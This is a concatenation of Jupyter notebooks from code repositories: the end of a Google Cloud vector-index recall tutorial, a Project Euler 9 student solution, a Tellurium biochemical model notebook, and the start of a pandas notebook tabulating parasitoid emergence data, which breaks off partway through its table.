1.3055,\n", " -0.44743,\n", " -0.15961,\n", " 0.85006,\n", " -0.34092,\n", " -0.67667,\n", " 0.2317,\n", " 1.5582,\n", " 1.2308,\n", " -0.62213,\n", " -0.032801,\n", " 0.1206,\n", " -0.25899,\n", " -0.02756,\n", " -0.52814,\n", " -0.93523,\n", " 0.58434,\n", " -0.24799,\n", " 0.37692,\n", " 0.86527,\n", " 0.069626,\n", " 1.3096,\n", " 0.29975,\n", " -1.3651,\n", " -0.32048,\n", " -0.13741,\n", " 0.33329,\n", " -1.9113,\n", " -0.60222,\n", " -0.23921,\n", " 0.12664,\n", " -0.47961,\n", " -0.89531,\n", " 0.62054,\n", " 0.40869,\n", " -0.08503,\n", " 0.6413,\n", " -0.84044,\n", " -0.74325,\n", " -0.19426,\n", " 0.098722,\n", " 0.32648,\n", " -0.67621,\n", " -0.62692,\n", " ],\n", "]" ] }, { "cell_type": "markdown", "metadata": { "id": "xeUZO3bAGoM-" }, "source": [ "### Compute Recall\n", "\n", "Use deployed brute force Index as the ground truth to calculate the recall of ANN Index:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "U9dNIbkEGoM-" }, "outputs": [], "source": [ "# Retrieve nearest neighbors for both the tree-AH index and the brute-force index\n", "tree_ah_response_test = my_index_endpoint.match(\n", " deployed_index_id=DEPLOYED_INDEX_ID,\n", " queries=list(test),\n", " num_neighbors=NUM_NEIGHBOURS,\n", ")\n", "brute_force_response_test = my_index_endpoint.match(\n", " deployed_index_id=DEPLOYED_BRUTE_FORCE_INDEX_ID,\n", " queries=list(test),\n", " num_neighbors=NUM_NEIGHBOURS,\n", ")" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "V-eMF05UGoM-" }, "outputs": [], "source": [ "# Calculate recall by determining how many neighbors were correctly retrieved as compared to the brute-force option.\n", "correct_neighbors = 0\n", "for tree_ah_neighbors, brute_force_neighbors in zip(\n", " tree_ah_response_test, brute_force_response_test\n", "):\n", " tree_ah_neighbor_ids = [neighbor.id for neighbor in tree_ah_neighbors]\n", " brute_force_neighbor_ids = [neighbor.id for neighbor in brute_force_neighbors]\n", "\n", " correct_neighbors += len(\n", " set(tree_ah_neighbor_ids).intersection(brute_force_neighbor_ids)\n", " )\n", "\n", "recall = correct_neighbors / (len(test) * NUM_NEIGHBOURS)\n", "\n", "print(\"Recall: {}\".format(recall))" ] }, { "cell_type": "markdown", "metadata": { "id": "TpV-iwP9qw9c" }, "source": [ "## Cleaning up\n", "\n", "To clean up all Google Cloud resources used in this project, you can [delete the Google Cloud\n", "project](https://cloud.google.com/resource-manager/docs/creating-managing-projects#shutting_down_projects) you used for the tutorial.\n", "You can also manually delete resources that you created by running the following code." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "sx_vKniMq9ZX" }, "outputs": [], "source": [ "# Force undeployment of indexes and delete endpoint\n", "my_index_endpoint.delete(force=True)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "omj7N9iWv-Tq" }, "outputs": [], "source": [ "# Delete indexes\n", "tree_ah_index.delete(force=True)\n", "brute_force_index.delete(force=True)" ] } ], "metadata": { "colab": { "collapsed_sections": [], "name": "sdk_matching_engine_for_indexing.ipynb", "toc_visible": true }, "kernelspec": { "display_name": "Python 3", "name": "python3" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

ajhenrikson/phys202-2015-work

assignments/assignment02/ProjectEuler9.ipynb

1

2557

{ "cells": [ { "cell_type": "markdown", "metadata": { "nbgrader": {} }, "source": [ "# Project Euler: Problem 9" ] }, { "cell_type": "markdown", "metadata": { "nbgrader": {} }, "source": [ "https://projecteuler.net/problem=9\n", "\n", "A Pythagorean triplet is a set of three natural numbers, $a < b < c$, for which,\n", "\n", "$$a^2 + b^2 = c^2$$\n", "\n", "For example, $3^2 + 4^2 = 9 + 16 = 25 = 5^2$.\n", "\n", "There exists exactly one Pythagorean triplet for which $a + b + c = 1000$. Find the product abc." ] }, { "cell_type": "code", "execution_count": 13, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "31875000\n" ] } ], "source": [ "def superman(): #defines function superman (watched the movie befor working on this)\n", " for a in range(1,501): #makes \"a\" avariable in the range 1-500\n", " for b in range(a+1,501):#makes \"b\" a variable between 1+a and 500 making it always larger than a\n", " c = 1000 - a - b #checks to ensure that a+b+c=1000\n", " if (a*a + b*b == c*c):#checks if the numbers are pythagorean triplets\n", " return a*b*c #returns the value we are looking for\n", "print (superman()) #prints that value" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false, "deletable": false, "nbgrader": { "checksum": "6cff4e8e53b15273846c3aecaea84a3d", "solution": true } }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": true, "deletable": false, "nbgrader": { "checksum": "b69b04efdc2f53ed5e3904c5ed86c12e", "grade": true, "grade_id": "projecteuler9", "points": 10 } }, "outputs": [], "source": [ "# This cell will be used for grading, leave it at the end of the notebook." ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.4.0" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

ScienceStacks/CellBioControl

Analysis/analyze_model.ipynb

1

2590

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "ename": "SyntaxError", "evalue": "invalid syntax (<ipython-input-2-13dcbd54b2f6>, line 1)", "output_type": "error", "traceback": [ "\u001b[0;36m File \u001b[0;32m\"<ipython-input-2-13dcbd54b2f6>\"\u001b[0;36m, line \u001b[0;32m1\u001b[0m\n\u001b[0;31m J0: $x0 -> L; k0*x0\u001b[0m\n\u001b[0m ^\u001b[0m\n\u001b[0;31mSyntaxError\u001b[0m\u001b[0;31m:\u001b[0m invalid syntax\n" ] } ], "source": [ "J0: $x0 -> L; k0*x0\n", "# REACTIONS from Spiro, Table 3\n", "# Methylation\n", "#J1_{me}{p}R: T{me}{p}R -> T{me+1}{p} + R; k1c*T{me}{p}R\n", "J1_2pR: T2pR -> T3p + R; k1c*T2pR\n", "J1_3pR: T3pR -> T4p + R; k1c*T3pR\n", "J1_2R: T2R -> T3 + R; k1c*T2R\n", "J1_3R: T3R -> T4 + R; k1c*T3R\n" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import tellurium as te\n", "\n", "model = \"\"\"\n", "model test\n", " compartment C1;\n", " C1 = 1.0;\n", " species S1, S2;\n", "\n", " S1 = 10.0;\n", " S2 = 0.0;\n", " S1 in C1; S2 in C1;\n", " J1: S1 -> S2; k1*S1;\n", "\n", " k1 = 1.0;\n", "end\n", "\"\"\"\n", "# load models\n", "r = te.loada(model)\n", "res1 = r.simulate(start=0, end=10, points=6)\n", "print res1" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import tellurium as te\n", "\n", "myfile = open(\"chemotaxis.mdl\", \"r\")\n", "contents = myfile.read()\n", "# load models\n", "r = te.loada(contents)\n", "res1 = r.simulate(start=0, end=1000)\n", "print res1" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

mountaindust/Parasitoids

docs/Pandas_xlsx_data.ipynb

1

55739

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Loading/Manipulating excel data with Pandas\n", "\n", "### Emergence data" ] }, { "cell_type": "code", "execution_count": 15, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>date</th>\n", " <th>Efemales</th>\n", " <th>Emales</th>\n", " <th>morpho1</th>\n", " <th>morpho2</th>\n", " <th>morpho3</th>\n", " <th>morpho4</th>\n", " <th>morpho5</th>\n", " <th>morpho6</th>\n", " <th>Wfnum</th>\n", " <th>All_total</th>\n", " <th>E_total</th>\n", " <th>datePR</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>10</th>\n", " <td>B</td>\n", " <td>2005-04-03</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>4</td>\n", " <td>6</td>\n", " <td>0</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td>B</td>\n", " <td>2005-04-05</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>5</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>41</td>\n", " <td>49</td>\n", " <td>1</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td>B</td>\n", " <td>2005-04-07</td>\n", " <td>4</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>21</td>\n", " <td>28</td>\n", " <td>6</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td>B</td>\n", " <td>2005-04-09</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>53</td>\n", " <td>54</td>\n", " <td>0</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td>B</td>\n", " <td>2005-04-11</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>11</td>\n", " <td>12</td>\n", " <td>1</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td>B</td>\n", " <td>2005-04-13</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>4</td>\n", " <td>3</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td>B</td>\n", " <td>2005-04-16</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td>B</td>\n", " <td>2005-04-18</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td>B</td>\n", " <td>2005-04-20</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td>B</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td>C</td>\n", " <td>2005-04-03</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>5</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>6</td>\n", " <td>15</td>\n", " <td>1</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td>C</td>\n", " <td>2005-04-05</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>36</td>\n", " <td>39</td>\n", " <td>2</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td>C</td>\n", " <td>2005-04-07</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>11</td>\n", " <td>14</td>\n", " <td>1</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td>C</td>\n", " <td>2005-04-09</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>24</td>\n", " <td>25</td>\n", " <td>1</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td>C</td>\n", " <td>2005-04-11</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td>C</td>\n", " <td>2005-04-13</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>3</td>\n", " <td>2</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td>C</td>\n", " <td>2005-04-16</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td>C</td>\n", " <td>2005-04-18</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>3</td>\n", " <td>2</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td>C</td>\n", " <td>2005-04-20</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td>C</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " <tr>\n", " <th>30</th>\n", " <td>D</td>\n", " <td>2005-04-03</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>60</td>\n", " <td>61</td>\n", " <td>1</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>31</th>\n", " <td>D</td>\n", " <td>2005-04-05</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>80</td>\n", " <td>81</td>\n", " <td>1</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>32</th>\n", " <td>D</td>\n", " <td>2005-04-07</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>44</td>\n", " <td>47</td>\n", " <td>3</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>33</th>\n", " <td>D</td>\n", " <td>2005-04-09</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>12</td>\n", " <td>12</td>\n", " <td>0</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>34</th>\n", " <td>D</td>\n", " <td>2005-04-11</td>\n", " <td>5</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>8</td>\n", " <td>17</td>\n", " <td>8</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>35</th>\n", " <td>D</td>\n", " <td>2005-04-13</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>6</td>\n", " <td>2</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>36</th>\n", " <td>D</td>\n", " <td>2005-04-16</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>37</th>\n", " <td>D</td>\n", " <td>2005-04-18</td>\n", " <td>2</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>4</td>\n", " <td>4</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>38</th>\n", " <td>D</td>\n", " <td>2005-04-20</td>\n", " <td>3</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>8</td>\n", " <td>12</td>\n", " <td>4</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>39</th>\n", " <td>D</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " <tr>\n", " <th>0</th>\n", " <td>E</td>\n", " <td>2005-04-03</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>39</td>\n", " <td>40</td>\n", " <td>0</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>E</td>\n", " <td>2005-04-05</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>155</td>\n", " <td>155</td>\n", " <td>0</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>E</td>\n", " <td>2005-04-07</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>69</td>\n", " <td>71</td>\n", " <td>1</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>E</td>\n", " <td>2005-04-09</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>60</td>\n", " <td>62</td>\n", " <td>1</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>E</td>\n", " <td>2005-04-11</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td>E</td>\n", " <td>2005-04-13</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>1</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td>E</td>\n", " <td>2005-04-16</td>\n", " <td>2</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>4</td>\n", " <td>4</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td>E</td>\n", " <td>2005-04-18</td>\n", " <td>2</td>\n", " <td>5</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>7</td>\n", " <td>7</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td>E</td>\n", " <td>2005-04-20</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td>E</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " <tr>\n", " <th>40</th>\n", " <td>F</td>\n", " <td>2005-04-03</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>41</th>\n", " <td>F</td>\n", " <td>2005-04-05</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>227</td>\n", " <td>227</td>\n", " <td>0</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>42</th>\n", " <td>F</td>\n", " <td>2005-04-07</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>75</td>\n", " <td>75</td>\n", " <td>0</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>43</th>\n", " <td>F</td>\n", " <td>2005-04-09</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>44</td>\n", " <td>44</td>\n", " <td>0</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>44</th>\n", " <td>F</td>\n", " <td>2005-04-11</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>45</th>\n", " <td>F</td>\n", " <td>2005-04-13</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>5</td>\n", " <td>6</td>\n", " <td>1</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>46</th>\n", " <td>F</td>\n", " <td>2005-04-16</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>34 days</td>\n", " </tr>\n", " <tr>\n", " <th>47</th>\n", " <td>F</td>\n", " <td>2005-04-18</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>36 days</td>\n", " </tr>\n", " <tr>\n", " <th>48</th>\n", " <td>F</td>\n", " <td>2005-04-20</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>0</td>\n", " <td>38 days</td>\n", " </tr>\n", " <tr>\n", " <th>49</th>\n", " <td>F</td>\n", " <td>2005-04-22</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>40 days</td>\n", " </tr>\n", " <tr>\n", " <th>50</th>\n", " <td>G</td>\n", " <td>2005-04-03</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>400</td>\n", " <td>400</td>\n", " <td>0</td>\n", " <td>21 days</td>\n", " </tr>\n", " <tr>\n", " <th>51</th>\n", " <td>G</td>\n", " <td>2005-04-05</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>240</td>\n", " <td>240</td>\n", " <td>0</td>\n", " <td>23 days</td>\n", " </tr>\n", " <tr>\n", " <th>52</th>\n", " <td>G</td>\n", " <td>2005-04-07</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>61</td>\n", " <td>61</td>\n", " <td>0</td>\n", " <td>25 days</td>\n", " </tr>\n", " <tr>\n", " <th>53</th>\n", " <td>G</td>\n", " <td>2005-04-09</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>27 days</td>\n", " </tr>\n", " <tr>\n", " <th>54</th>\n", " <td>G</td>\n", " <td>2005-04-11</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>3</td>\n", " <td>0</td>\n", " <td>1</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>7</td>\n", " <td>3</td>\n", " <td>29 days</td>\n", " </tr>\n", " <tr>\n", " <th>55</th>\n", " <td>G</td>\n", " <td>2005-04-13</td>\n", " <td>4</td>\n", " <td>4</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>17</td>\n", " <td>0</td>\n", " <td>2</td>\n", " <td>27</td>\n", " <td>8</td>\n", " <td>31 days</td>\n", " </tr>\n", " <tr>\n", " <th>56</th>\n", " <td>G</td>\n", " <td>2005-04-16</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " <td>0</td>\n", " 